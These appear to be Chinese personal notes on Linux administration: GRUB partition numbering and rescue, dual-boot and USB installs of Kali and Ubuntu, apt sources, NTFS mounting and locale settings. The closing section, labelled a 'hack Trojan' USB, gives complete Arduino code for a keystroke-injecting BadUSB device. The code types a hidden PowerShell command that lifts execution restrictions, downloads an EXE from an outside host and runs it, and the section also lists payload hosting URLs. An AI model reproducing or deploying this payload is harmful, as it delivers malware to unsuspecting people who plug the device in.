虚拟机(VM)安装:VMware/ VirtualBox
虚拟机网络模式:仅主机模式(只与宿主互联)、NAT(借助宿主机器访问)、桥接(独立主机)
物理机安装:BOIS(Legacy/UEFI)
MBR(主引导记录,硬盘第一个扇区)
GRUB(引导程序,多启动)
Linx(主分区|逻辑分区)
DOS(主分区|扩展分区(内含多个逻辑分区))
挂载:管理员手动挂载目录/mnt、自动挂载目录/media、外部设备目录/dev
/dev/sda1为第一主分区
/dev/sda2为第二主分区
/dev/sda3为第三主分区
/dev/sda4为第四主分区
/dev/sda5为第一逻辑分区
/dev/sda6为第二逻辑分区
grub分区顺序:以0开始
(hd0)为第一个硬盘
(hd1)为第二个硬盘
(hd0,0)为第一主分区
(hd0,1)为第二主分区
(hd0,4)为第一逻辑分区
(hd0,5)为第二个逻辑分区
grub2(新的启动管理器)分区顺序:以1开始
(hd0,1)为第一主分区
(hd0,2)为第二主分区
(hd0,5)为第一逻辑分区
(hd0,6)为第二个逻辑分区
Windows安装:U盘安装(UltraISO)/硬盘安装(setup)/PE安装(install.vim)
Linux安装:U盘安装/硬盘安装/安装至可移动盘/安装至移动设备
U盘安装Linux:Universal-USB-Installer/UltraISO+Linux.iso
系统自动挂载CD-ROM:
df -m #查看磁盘挂载情况 /media
umount /media
exit #退出
grub error: unknown filesystem
grub rescue> ls #列出所有磁盘的分区信息(hd0) (hd0,msdos6) (hd0,msdos5) (hd0,msdos1)
grub rescue>set
prefix=(hd0,msdos6)/boot/grub
root=hd0,msdos6
grub rescue >set root=hd0,msdos1 #设置系统所在分区
grub rescue> set prefix=(hd0,msdos1)/boot/grub
grub rescue>insmod normal #出现高亮的grub rescue,表示分区设置正确
grub rescue> normal # 回到grub菜单
#进入Ubuntu,修复grub分区信息
sudo update-grub
sudo grub-install /dev/sda
硬盘安装Linux:EasyBCD+Linux.iso
Linux.iso解压至X盘根目录>>EasyBCD添加新条目>> NeoGrub >>安装>>配置(menu.list)
# NeoSmart NeoGrub Bootloader Configuration File
title Install Kali
root (hd0,X)
#iso镜像Live目录的vmlinuz+ initrd.img文件
kernel (hd0,X)/live/vmlinuz boot=live noconfig=sudo username=root hostname=kali
# locale=zh_CN.UTF-8
initrd (hd0,X)/live/initrd.img
boot
#title reboot 添加重启菜单
reboot
#title halt 添加停止菜单
halt
重启>>NeoGrub>>引导菜单选择Install Kali>>进入到Kali Live>>开始安装
EasyBCD添加kali启动项:添加条目>> linux/BSD>>grub2>>linux根分区/BOOT分区>>ADD
Linux安装至U盘:VMware虚拟机+Linux.iso+ NTFS格式U盘+ uuid标记磁盘+永久生效操作
Kali:新建虚拟机-> Graphical Install->探测安装光盘(虚拟硬盘+U盘/dev/sdb1 ext4+sdb2 swap)->U盘启动
Ubuntu: 新建虚拟机->install ubuntu->Installation type(/dev/sdb1 ext4+sdb2 swap)->U盘启动
VM相关服务VMnetDHCP,VMUSBArbService,VMware NAT Service,VMwareHostId全部开启
grub启动引导安装在主引导记录(MBR)
initramfs启动错误:/dev/sda, /dev/sdb选择错误> uuid标记磁盘
#永久生效操作:
update-grub #更新grub.cfg,重新扫描启动项,生成启动引导,以uuid方式标记硬盘
leafpad /boot/grub/grub.cfg # linux是否挂载在sdx1下
blkid #查看UUID
sync #确保写入
reboot #重启系统
修改grub启动:
sudo gedit/leafpad /boot/grub/grub.cfg #修改grub
更新源(默认官网):
apt-get update #更新软件列表
apt-get upgrade #更新安装的软件
apt-get disk-upgrade #升级整个Linux系统
cp /etc/apt/sources.list etc/apt/sources.list_backup #备份
gedit/leafpad /etc/apt/sources.list #自定义更新源
Linux挂载NTFS分区(Ubuntu+Windows双系统):
sudo fdisk -l #查看分区挂载情况
sudo ntfs /dev/sda5 #修复挂载相应分区(C盘sda1、D盘sda5)
cp -r dir/ / # 复制到/目录 /media
Linux语言设置:中文乱码
echo $LANG #查看当前字符集
yum -y groupinstall chinese-support #安装中文包
## 临时生效
export LANG="zh_CN.UTF-8" # 设置为中文
export LANG="en_US.UTF-8" # 设置为英文
## 永久生效, 编辑/etc/sysconfig/i18n,reboot
LANG="zh_CN.UTF-8"
## 编辑 /etc/profile配置文件
export LANG="zh_CN.UTF-8"
. /etc/profile # 重新载入
hack Trojan U盘制作:Arduino+软件+Leonardo板子/pro mini板子(需要接线)+文件存放点
文件存放点:http://www.bazwp.com/
http://jqb.tankeyun.com/456.exe
原理:模拟USB HID,模拟按键实现从网站下载并打开文件
程序(用arduino烧入板子的程序):
void setup()
{
//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
//下载文件并打开
Keyboard.println("POWERSHELL -NOP -W HIDDEN -C sET-eXECUTIONpOLICY UNRESTRICTED -FORCE;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE('HTTP://JQB.TANKEYUN.COM/5526123.EXE', 'c:\\USERS\\PUBLIC\\X.EXE');START c:\\USERS\\PUBLIC\\X.EXE;EXIT");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //结束键盘通讯
}
void loop()//循环
{
}